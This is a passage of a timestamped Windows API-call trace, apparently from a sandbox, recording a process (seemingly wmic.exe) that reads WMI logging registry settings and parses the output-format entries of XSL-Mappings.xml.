(_Size=0xc) returned 0x312f50 [0088.986] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0088.986] SysStringLen (param_1="\\wbem\\") returned 0x6 [0088.986] free (_Block=0x312f20) [0088.986] free (_Block=0x312f38) [0088.986] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0088.986] free (_Block=0x312f50) [0088.987] malloc (_Size=0xc) returned 0x312f20 [0088.987] malloc (_Size=0xc) returned 0x312f38 [0088.987] malloc (_Size=0xc) returned 0x312f50 [0088.987] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0088.987] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0088.987] free (_Block=0x312f20) [0088.987] free (_Block=0x312f38) [0088.987] GetCurrentThreadId () returned 0x174 [0088.987] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x25f710 | out: phkResult=0x25f710*=0x10c) returned 0x0 [0088.987] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x25f71c, lpcbData=0x25f718*=0x400 | out: lpType=0x0, lpData=0x25f71c*=0x30, lpcbData=0x25f718*=0x4) returned 0x0 [0088.987] _wcsicmp (_String1="0", _String2="1") returned -1 [0088.988] _wcsicmp (_String1="0", _String2="2") returned -2 [0088.988] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x25f718*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x25f718*=0x42) returned 0x0 [0088.988] malloc (_Size=0x86) returned 0x312f68 [0088.988] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x312f68, lpcbData=0x25f718*=0x42 | out: lpType=0x0, lpData=0x312f68*=0x25, lpcbData=0x25f718*=0x42) returned 0x0 [0088.988] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0088.988] malloc (_Size=0x42) returned 0x312ff8 [0088.988] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0088.988] RegQueryValueExW (in: hKey=0x10c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x25f71c, lpcbData=0x25f718*=0x400 | out: lpType=0x0, lpData=0x25f71c*=0x36, lpcbData=0x25f718*=0xc) returned 0x0 [0088.988] _wtol (_String="65536") returned 65536 [0088.988] free (_Block=0x312f68) [0088.988] RegCloseKey (hKey=0x0) returned 0x6 [0088.988] CoCreateInstance (in: rclsid=0x916d40*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x916d20*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x25fbac | out: ppv=0x25fbac*=0x21f4630) returned 0x0 [0103.583] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x21f4630, xmlSource=0x25fb30*(varType=0x8, wReserved1=0xffff, wReserved2=0x387a, wReserved3=0x77c7, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x25fb94 | out: isSuccessful=0x25fb94*=0xffff) returned 0x0 [0104.598] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x21f4630, DOMElement=0x25fba8 | out: DOMElement=0x25fba8*=0x21f8c58) returned 0x0 [0104.599] malloc (_Size=0xc) returned 0x312f20 [0104.599] IXMLDOMElement:getElementsByTagName (in: This=0x21f8c58, tagName="XSLFORMAT", resultList=0x25fba4 | out: resultList=0x25fba4*=0x21f8e80) returned 0x0 [0104.600] free (_Block=0x312f20) [0104.600] IXMLDOMNodeList:get_length (in: This=0x21f8e80, listLength=0x25fb8c | out: listLength=0x25fb8c*=21) returned 0x0 [0104.600] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=0, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.600] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="texttable.xsl") returned 0x0 [0104.600] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.600] malloc (_Size=0xc) returned 0x312f20 [0104.600] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.600] free (_Block=0x312f20) [0104.601] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="TABLE", varVal2=0x0)) returned 0x0 [0104.601] malloc (_Size=0xc) returned 0x312f20 [0104.601] malloc (_Size=0xc) returned 0x312f38 [0104.601] malloc (_Size=0x18) returned 0x31e8e8 [0104.601] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.601] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.601] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.601] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=1, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.601] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="textvaluelist.xsl") returned 0x0 [0104.601] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.601] malloc (_Size=0xc) returned 0x313158 [0104.601] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.601] free (_Block=0x313158) [0104.601] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="VALUE", varVal2=0x0)) returned 0x0 [0104.602] malloc (_Size=0xc) returned 0x313158 [0104.602] malloc (_Size=0xc) returned 0x313170 [0104.602] SysStringLen (param_1="VALUE") returned 0x5 [0104.602] SysStringLen (param_1="TABLE") returned 0x5 [0104.602] SysStringLen (param_1="TABLE") returned 0x5 [0104.602] SysStringLen (param_1="VALUE") returned 0x5 [0104.602] malloc (_Size=0x18) returned 0x31e908 [0104.602] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.602] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.602] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.602] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=2, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.602] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="textvaluelist.xsl") returned 0x0 [0104.602] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.602] malloc (_Size=0xc) returned 0x313188 [0104.602] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.603] free (_Block=0x313188) [0104.603] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="LIST", varVal2=0x0)) returned 0x0 [0104.603] malloc (_Size=0xc) returned 0x31fac8 [0104.603] malloc (_Size=0xc) returned 0x31fae0 [0104.603] SysStringLen (param_1="LIST") returned 0x4 [0104.603] SysStringLen (param_1="TABLE") returned 0x5 [0104.603] malloc (_Size=0x18) returned 0x31e928 [0104.603] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.603] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.603] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.603] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=3, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.603] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="rawxml.xsl") returned 0x0 [0104.604] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.604] malloc (_Size=0xc) returned 0x31faf8 [0104.604] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.604] free (_Block=0x31faf8) [0104.604] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="RAWXML", varVal2=0x0)) returned 0x0 [0104.604] malloc (_Size=0xc) returned 0x31faf8 [0104.604] malloc (_Size=0xc) returned 0x31fb10 [0104.604] SysStringLen (param_1="RAWXML") returned 0x6 [0104.604] SysStringLen (param_1="TABLE") returned 0x5 [0104.604] SysStringLen (param_1="RAWXML") returned 0x6 [0104.604] SysStringLen (param_1="LIST") returned 0x4 [0104.604] SysStringLen (param_1="LIST") returned 0x4 [0104.604] SysStringLen (param_1="RAWXML") returned 0x6 [0104.604] malloc (_Size=0x18) returned 0x31e948 [0104.605] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.605] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.605] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.605] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=4, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.605] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="htable.xsl") returned 0x0 [0104.605] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.605] malloc (_Size=0xc) returned 0x31fb28 [0104.605] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.605] free (_Block=0x31fb28) [0104.605] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="HTABLE", varVal2=0x0)) returned 0x0 [0104.605] malloc (_Size=0xc) returned 0x31fb28 [0104.605] malloc (_Size=0xc) returned 0x31fb40 [0104.605] SysStringLen (param_1="HTABLE") returned 0x6 [0104.605] SysStringLen (param_1="TABLE") returned 0x5 [0104.605] SysStringLen (param_1="HTABLE") returned 0x6 [0104.605] SysStringLen (param_1="LIST") returned 0x4 [0104.605] malloc (_Size=0x18) returned 0x31e968 [0104.606] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.606] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.606] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.606] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=5, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.606] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="hform.xsl") returned 0x0 [0104.606] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.606] malloc (_Size=0xc) returned 0x31fb58 [0104.606] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.606] free (_Block=0x31fb58) [0104.606] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="HFORM", varVal2=0x0)) returned 0x0 [0104.606] malloc (_Size=0xc) returned 0x31fb58 [0104.607] malloc (_Size=0xc) returned 0x31fb70 [0104.607] SysStringLen (param_1="HFORM") returned 0x5 [0104.607] SysStringLen (param_1="TABLE") returned 0x5 [0104.607] SysStringLen (param_1="HFORM") returned 0x5 [0104.607] SysStringLen (param_1="LIST") returned 0x4 [0104.607] SysStringLen (param_1="HFORM") returned 0x5 [0104.607] SysStringLen (param_1="HTABLE") returned 0x6 [0104.607] malloc (_Size=0x18) returned 0x31e988 [0104.607] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.607] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.607] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.607] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=6, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.607] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="xml.xsl") returned 0x0 [0104.607] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.607] malloc (_Size=0xc) returned 0x31fb88 [0104.608] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.608] free (_Block=0x31fb88) [0104.608] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="XML", varVal2=0x0)) returned 0x0 [0104.608] malloc (_Size=0xc) returned 0x31fb88 [0104.608] malloc (_Size=0xc) returned 0x31fba0 [0104.608] SysStringLen (param_1="XML") returned 0x3 [0104.608] SysStringLen (param_1="TABLE") returned 0x5 [0104.608] SysStringLen (param_1="XML") returned 0x3 [0104.608] SysStringLen (param_1="VALUE") returned 0x5 [0104.608] SysStringLen (param_1="VALUE") returned 0x5 [0104.608] SysStringLen (param_1="XML") returned 0x3 [0104.608] malloc (_Size=0x18) returned 0x31e9a8 [0104.608] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.609] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.609] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.609] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=7, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.609] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="mof.xsl") returned 0x0 [0104.609] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.609] malloc (_Size=0xc) returned 0x31fbb8 [0104.609] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.609] free (_Block=0x31fbb8) [0104.609] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="MOF", varVal2=0x0)) returned 0x0 [0104.609] malloc (_Size=0xc) returned 0x31fbb8 [0104.609] malloc (_Size=0xc) returned 0x31fbd0 [0104.609] SysStringLen (param_1="MOF") returned 0x3 [0104.609] SysStringLen (param_1="TABLE") returned 0x5 [0104.609] SysStringLen (param_1="MOF") returned 0x3 [0104.609] SysStringLen (param_1="LIST") returned 0x4 [0104.610] SysStringLen (param_1="MOF") returned 0x3 [0104.610] SysStringLen (param_1="RAWXML") returned 0x6 [0104.610] SysStringLen (param_1="LIST") returned 0x4 [0104.610] SysStringLen (param_1="MOF") returned 0x3 [0104.610] malloc (_Size=0x18) returned 0x31e9c8 [0104.610] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.610] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.610] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.610] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=8, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.610] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="csv.xsl") returned 0x0 [0104.610] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.610] malloc (_Size=0xc) returned 0x31fbe8 [0104.610] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.611] free (_Block=0x31fbe8) [0104.611] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="CSV", varVal2=0x0)) returned 0x0 [0104.611] malloc (_Size=0xc) returned 0x31fbe8 [0104.611] malloc (_Size=0xc) returned 0x31fc00 [0104.611] SysStringLen (param_1="CSV") returned 0x3 [0104.611] SysStringLen (param_1="TABLE") returned 0x5 [0104.611] SysStringLen (param_1="CSV") returned 0x3 [0104.611] SysStringLen (param_1="LIST") returned 0x4 [0104.611] SysStringLen (param_1="CSV") returned 0x3 [0104.611] SysStringLen (param_1="HTABLE") returned 0x6 [0104.611] SysStringLen (param_1="CSV") returned 0x3 [0104.611] SysStringLen (param_1="HFORM") returned 0x5 [0104.611] malloc (_Size=0x18) returned 0x31e9e8 [0104.611] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.611] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.611] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.611] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=9, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.612] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="texttable.xsl") returned 0x0 [0104.612] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.612] malloc (_Size=0xc) returned 0x31fc18 [0104.612] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.612] free (_Block=0x31fc18) [0104.612] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="texttablewsys.xsl", varVal2=0x0)) returned 0x0 [0104.612] malloc (_Size=0xc) returned 0x31fc18 [0104.612] malloc (_Size=0xc) returned 0x31fc30 [0104.612] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.612] SysStringLen (param_1="TABLE") returned 0x5 [0104.612] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.612] SysStringLen (param_1="VALUE") returned 0x5 [0104.612] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.612] SysStringLen (param_1="XML") returned 0x3 [0104.612] SysStringLen (param_1="XML") returned 0x3 [0104.613] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.613] malloc (_Size=0x18) returned 0x31ea08 [0104.613] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.613] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.613] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.613] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=10, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.613] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="texttable.xsl") returned 0x0 [0104.613] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.613] malloc (_Size=0xc) returned 0x31fc48 [0104.613] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.613] free (_Block=0x31fc48) [0104.613] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="texttablewsys", varVal2=0x0)) returned 0x0 [0104.613] malloc (_Size=0xc) returned 0x31fc48 [0104.614] malloc (_Size=0xc) returned 0x31fc60 [0104.614] SysStringLen (param_1="texttablewsys") returned 0xd [0104.614] SysStringLen (param_1="TABLE") returned 0x5 [0104.614] SysStringLen (param_1="texttablewsys") returned 0xd [0104.614] SysStringLen (param_1="XML") returned 0x3 [0104.614] SysStringLen (param_1="texttablewsys") returned 0xd [0104.614] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.614] SysStringLen (param_1="XML") returned 0x3 [0104.614] SysStringLen (param_1="texttablewsys") returned 0xd [0104.614] malloc (_Size=0x18) returned 0x31ea28 [0104.614] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.614] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.614] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.614] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=11, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.614] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="texttable.xsl") returned 0x0 [0104.614] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.614] malloc (_Size=0xc) returned 0x31fc78 [0104.615] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.615] free (_Block=0x31fc78) [0104.615] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="wmiclitableformat.xsl", varVal2=0x0)) returned 0x0 [0104.615] malloc (_Size=0xc) returned 0x31fc78 [0104.615] malloc (_Size=0xc) returned 0x31fc90 [0104.615] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.615] SysStringLen (param_1="TABLE") returned 0x5 [0104.615] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.615] SysStringLen (param_1="XML") returned 0x3 [0104.615] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.615] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.615] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.615] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.615] malloc (_Size=0x18) returned 0x31ea48 [0104.615] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.616] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.616] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.616] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=12, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.616] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="texttable.xsl") returned 0x0 [0104.616] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.616] malloc (_Size=0xc) returned 0x31fca8 [0104.616] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.616] free (_Block=0x31fca8) [0104.616] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="wmiclitableformat", varVal2=0x0)) returned 0x0 [0104.616] malloc (_Size=0xc) returned 0x31fca8 [0104.616] malloc (_Size=0xc) returned 0x31fcc0 [0104.616] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0104.616] SysStringLen (param_1="TABLE") returned 0x5 [0104.616] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0104.616] SysStringLen (param_1="XML") returned 0x3 [0104.616] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0104.617] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.617] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0104.617] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.617] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.617] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0104.617] malloc (_Size=0x18) returned 0x31ea68 [0104.617] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.617] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.617] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.617] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=13, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.617] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="texttable.xsl") returned 0x0 [0104.617] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.617] malloc (_Size=0xc) returned 0x31fcd8 [0104.617] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.618] free (_Block=0x31fcd8) [0104.618] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="wmiclitableformatnosys.xsl", varVal2=0x0)) returned 0x0 [0104.618] malloc (_Size=0xc) returned 0x31fcd8 [0104.618] malloc (_Size=0xc) returned 0x31fcf0 [0104.618] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0104.618] SysStringLen (param_1="TABLE") returned 0x5 [0104.618] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0104.618] SysStringLen (param_1="XML") returned 0x3 [0104.618] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0104.618] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0104.618] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0104.618] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.618] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0104.618] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0104.618] malloc (_Size=0x18) returned 0x31ea88 [0104.618] IUnknown:Release (This=0x21f4b20) returned 0x0 [0104.618] IUnknown:Release (This=0x21f8cf8) returned 0x0 [0104.618] IUnknown:Release (This=0x21f8c98) returned 0x0 [0104.618] IXMLDOMNodeList:get_item (in: This=0x21f8e80, index=14, listItem=0x25fbc0 | out: listItem=0x25fbc0*=0x21f4b20) returned 0x0 [0104.619] IXMLDOMNode:get_text (in: This=0x21f4b20, text=0x25fbc8 | out: text=0x25fbc8*="texttable.xsl") returned 0x0 [0104.619] IXMLDOMNode:get_attributes (in: This=0x21f4b20, attributeMap=0x25fbbc | out: attributeMap=0x25fbbc*=0x21f8cf8) returned 0x0 [0104.619] malloc (_Size=0xc) returned 0x31fd08 [0104.619] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21f8cf8, name="KEYWORD", namedItem=0x25fbb8 | out: namedItem=0x25fbb8*=0x21f8c98) returned 0x0 [0104.619] free (_Block=0x31fd08) [0104.619] IXMLDOMNode:get_nodeValue (in: This=0x21f8c98, value=0x25fb64 | out: value=0x25fb64*(varType=0x8, wReserved1=0x31, wReserved2=0x2f38, wReserved3=0x31, varVal1="wmiclitableformatnosys", varVal2=0x0)) returned 0x0 [0104.619] malloc (_Size=0xc) returned 0x31fd08 [0104.619] malloc (_Size=0xc) returned 0x31fd20 [0104.619] SysStringLen 